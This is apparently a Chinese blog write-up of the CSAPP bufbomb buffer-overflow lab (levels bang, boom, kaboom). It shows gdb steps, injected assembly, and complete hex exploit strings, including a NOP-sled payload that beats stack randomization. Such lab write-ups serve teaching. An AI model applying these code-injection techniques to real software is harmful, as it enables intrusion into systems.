zoukankan      html  css  js  c++  java
  • CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz

    CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom

    栈结构镇楼

     

    这里先给出getbuf的反汇编代码和栈结构,方便下面的使用。

     栈结构:

     

    第2关:bang

    构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。
    我们需要将恶意代码放置在攻击字符串中,使得getbuf返回之后,首先执行这段恶意代码,然后再执行bang函数。
    先看一下bang的源码:

    #define NORMAL_BUFFER_SIZE 32
    void test()
    {
        int val;
        /* Put canary on stack to detect possiblecorruption */
        volatile int local = uniqueval();
        val = getbuf();
        /* Check for corruption stack */
        if (local != uniqueval())
        {
            printf("Sabotaged!: the stack has beencorrupted
    ");
        }
        else if (val == cookie)
        {
            printf("Boom!: getbuf returned0x%x
    ", val);
            validate(3);
        }
        else
        {
            printf("Dud: getbuf returned0x%x
    ", val);
        }
    }
    int getbuf()
    {
        char buf[NORMAL_BUFFER_SIZE];
        Gets(buf);
        return 1;
    }
    int global_value = 0;
    void bang(int val)
    {
        if (global_value == cookie)
        {
            printf("Bang!: You set global_value to 0x%x
    ",
                   global_value);
            validate(2);
        }
        else
            printf("Misfire: global_value = 0x%x
    ", global_value);
        exit(0);
    }

    先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。

    0x804d100和0x804d108那一个是全局变量?

    这里我用gdb调试

    gdb bufbomb

    getbuf函数设断点,运行,查看一下两个地址的值,很明显,0x804d100是全局变量。

    注意这里的调试方法设置完断点后运行的指令

    (gdb) r -u stu

    这里的stu是userid !

    到这里全局变量也找到了,那么我们也就能写出恶意代码来了。

    movl   $0x4f802594,0x804d100//将cookie赋值给全局变量
    push   $0x08048cad //函数bang的地址压入栈
    ret

     将恶意代码保存到扩展名为.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。

    这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:

    看一下getbuf函数,发现,在图中0x80491f7处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。

    gdb调试,我们在0x80491fd也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。

    处理成小端也就是

    e8 39 68 55

    最终编写的恶意代码:

    c7 05 00 d1 04 08 94 /*movl   $0x4f802594,0x804d100*/
    25 80 4f 
    68 ad 8c 04 08       /*push   $x08048cad*/
    c3                   /*ret*/
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    00 00 00 00
    e8 39 68 55          /*buff首地址0x556839e8*/

    将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

    完成!

    第3关:boom

    前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原test的ebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚,

    另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。

    void test()
    {
        int val;
        /* Put canary on stack to detect possiblecorruption */
        volatile int local = uniqueval();
        val = getbuf();
        /* Check for corruption stack */
        if (local != uniqueval())
        {
            printf("Sabotaged!: the stack has beencorrupted
    ");
        }
        else if (val == cookie)///getbuf函数返回值为cookie
        {
            printf("Boom!: getbuf returned0x%x
    ", val);
            validate(3);
        }
        else
        {
            printf("Dud: getbuf returned0x%x
    ", val);
        }
    }

    综合起来恶意代码就是:

    /*cookie0x4f802594*/
    movl $0x4f802594,%eax //将返回值修改为cookie
    pushl $0x8048dce      //将call getbuf函数的下一条要执行的指令的地址压入返回地址
    ret                   //用ret来执行返回地址
                       

     用同bang那关一样的方法,得到字节码:

    恶意代码准备好了,将返回地址更改为指向这个代码的位置,把恶意代码放到buf缓冲区内,返回地址和bang一样。

    接下来要恢复ebp的值,先得到ebp旧值。

    gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。

    ebp=0x55683a40,即40 3a 68 55

    用这个值覆盖ebp值。ebp值在返回地址的低方位,放在返回地址前。

    最终编写的恶意代码:

    b8 94 25 80 4f          /*movl $0x4f802594,%eax */
    68 ce 8d 04 08          /*pushl $0x8048dce */
    c3                      /*ret*/
    00 00 00 00 00 
    00 00 00 00 00 
    00 00 00 00 00 
    00 00 00 00 00 
    00 00 00 00 00 
    00 00 00 00
    40 3a 68 55             /*old ebp:0x55683a40*/
    e8 39 68 55             /*buff首地址0x556839e8*/

    将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。

     

    nice!

    第4关:kaboom


    这一关难度比前面都大。但也是承接上一关的,构造攻击字符串使getbufn函数,返回cookie值至testn函数,而不是返回值1,需要将cookie值设为函数返回值,复原被破坏的栈帧结构,并正确地返回到testn函数。但这一关与之前最大的不同在于地址空间随机化,每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样,不能准确地跳转到栈空间的某个特定地址。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。

    进入这一关需要加入-n选项,调的函数是testn和getbufn,而不是前面的test和getbuf。这道题有5个test case,要都通过才算过。

    说点题外话这一关还有一个别名Nitro 硝化甘油,这是一种不稳定的火药,其实从这里也暗示了这一关的攻击不稳定。

    先看一下源码:

    #define KABOOM_BUFFER_SIZE 512
    void testn()
    {
        int val;
        volatile int local = uniqueval();
        val = getbufn();
        /* Check for corrupted stack */
        if (local != uniqueval())
        {
            printf("Sabotaged!: the stack has been corrupted
    ");
        }
        else if (val == cookie)
        {
            printf("KABOOM!: getbufn returned 0x%x
    ", val);
            validate(4);
        }
        else
        {
            printf("Dud: getbufn returned 0x%x
    ", val);
        }
    }
    int getbufn()
    {
        char buf[KABOOM_BUFFER_SIZE];
        Gets(buf);
        return 1;
    }

    在这一关buffersize也从32增大到了512,这个做法是有意义的。

    大概的思路是,虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为0x90)。不管我们跳转到哪个nop,最后都会执行到我们的代码。

    ebp是随机的,但是ebp相对esp是绝对的,根据上面的图中结合栈结构得出

    ebp = esp + 0x24 + 4 = esp + 28

    getbufn函数返回后要从0x8048e4a开始执行,将这个地址压栈。

    设置cookie给eax。

    综合得出恶意代码为:

    mov    $0x4f802594,%eax  //将返回值修改为cookie
    lea    0x28(%esp),%ebp   //ebp=esp+28
    push   $0x8048e4a        //将call getbufn函数的下一条要执行的指令的地址压入返回地址
    ret

     转换为字节码:

     

    再回到getbufn函数:

    要填入0x208+4+4=528字节。

    因为随机,不知道程序会跳到哪里,所以把恶意代码放到最后面,用nop滑行。

    (nop不会执行任何操作,只有PC加一,机器码是90。)

    所以,前面塞满90,最后面写上恶意代码程序,以及最后要跳的位置。

       寻找要跳的地址:

    由于随机化,buf首地址不确定。用gdb调试:在0x8049218设断点,看eax的值。(每执行一次,要用c命令继续,进而执行下一次)

    如此这样五次,注意这次调试时运行r需要加入-n

    (gdb) r -nu stu

    这样获得了5个buf起始地址。

    0x55683808
    0x556837a8
    0x55683878
    0x55683858
    0x556837a8

    取最高地址0x55683878(78 38 68 55)作为返回地址,这样就会一路滑行到恶意代码,执行恶意代码。

    综上:

    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    /*100*/
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    /*200*/
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 
    90 90 90 90 90 90 90 90 90 90
    /*400*/
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90
    /*500*/
    90 90 90 90 90 90 90 90 90
    b8 94 25 80 4f                /*mov    $0x4f802594,%eax*/
    8d 6c 24 28                   /*lea    0x28(%esp),%ebp */
    68 4a 8e 04 08                /*push   $0x8048e4a */
    c3 
    78 38 68 55                   /*0x55683878*/

    同上管道输入。

    注意:需要注意的是因为在Nitro模式下主程序需要读五次input以满足执行五次的需要,因此在执行./hex2raw程序时请注意添加 -n flag以保证input string 被复制五次每次以 结尾以结束每次的gets()函数调用。

    完结撒花!

  • 相关阅读:
    stl学习笔记—set/multimap
    2013 杭州站 hdoj4778 Gems Fight!
    矩阵加速数列递推
    暑假写的两个数据结构
    AC自动机模板 hdoj2222 UVA-11468
    树莓派安装3.5英寸触摸屏幕
    树莓派设置NTP同步
    在树莓派上设置无线静态IP
    运行tomcat7w.exe未安装指定的服务
    LoadRunner 11安装Micosoft Visual C++ 2005 SP1时提示命令行选项语法错误
  • 原文地址:https://www.cnblogs.com/wkfvawl/p/10809471.html
Copyright © 2011-2022 走看看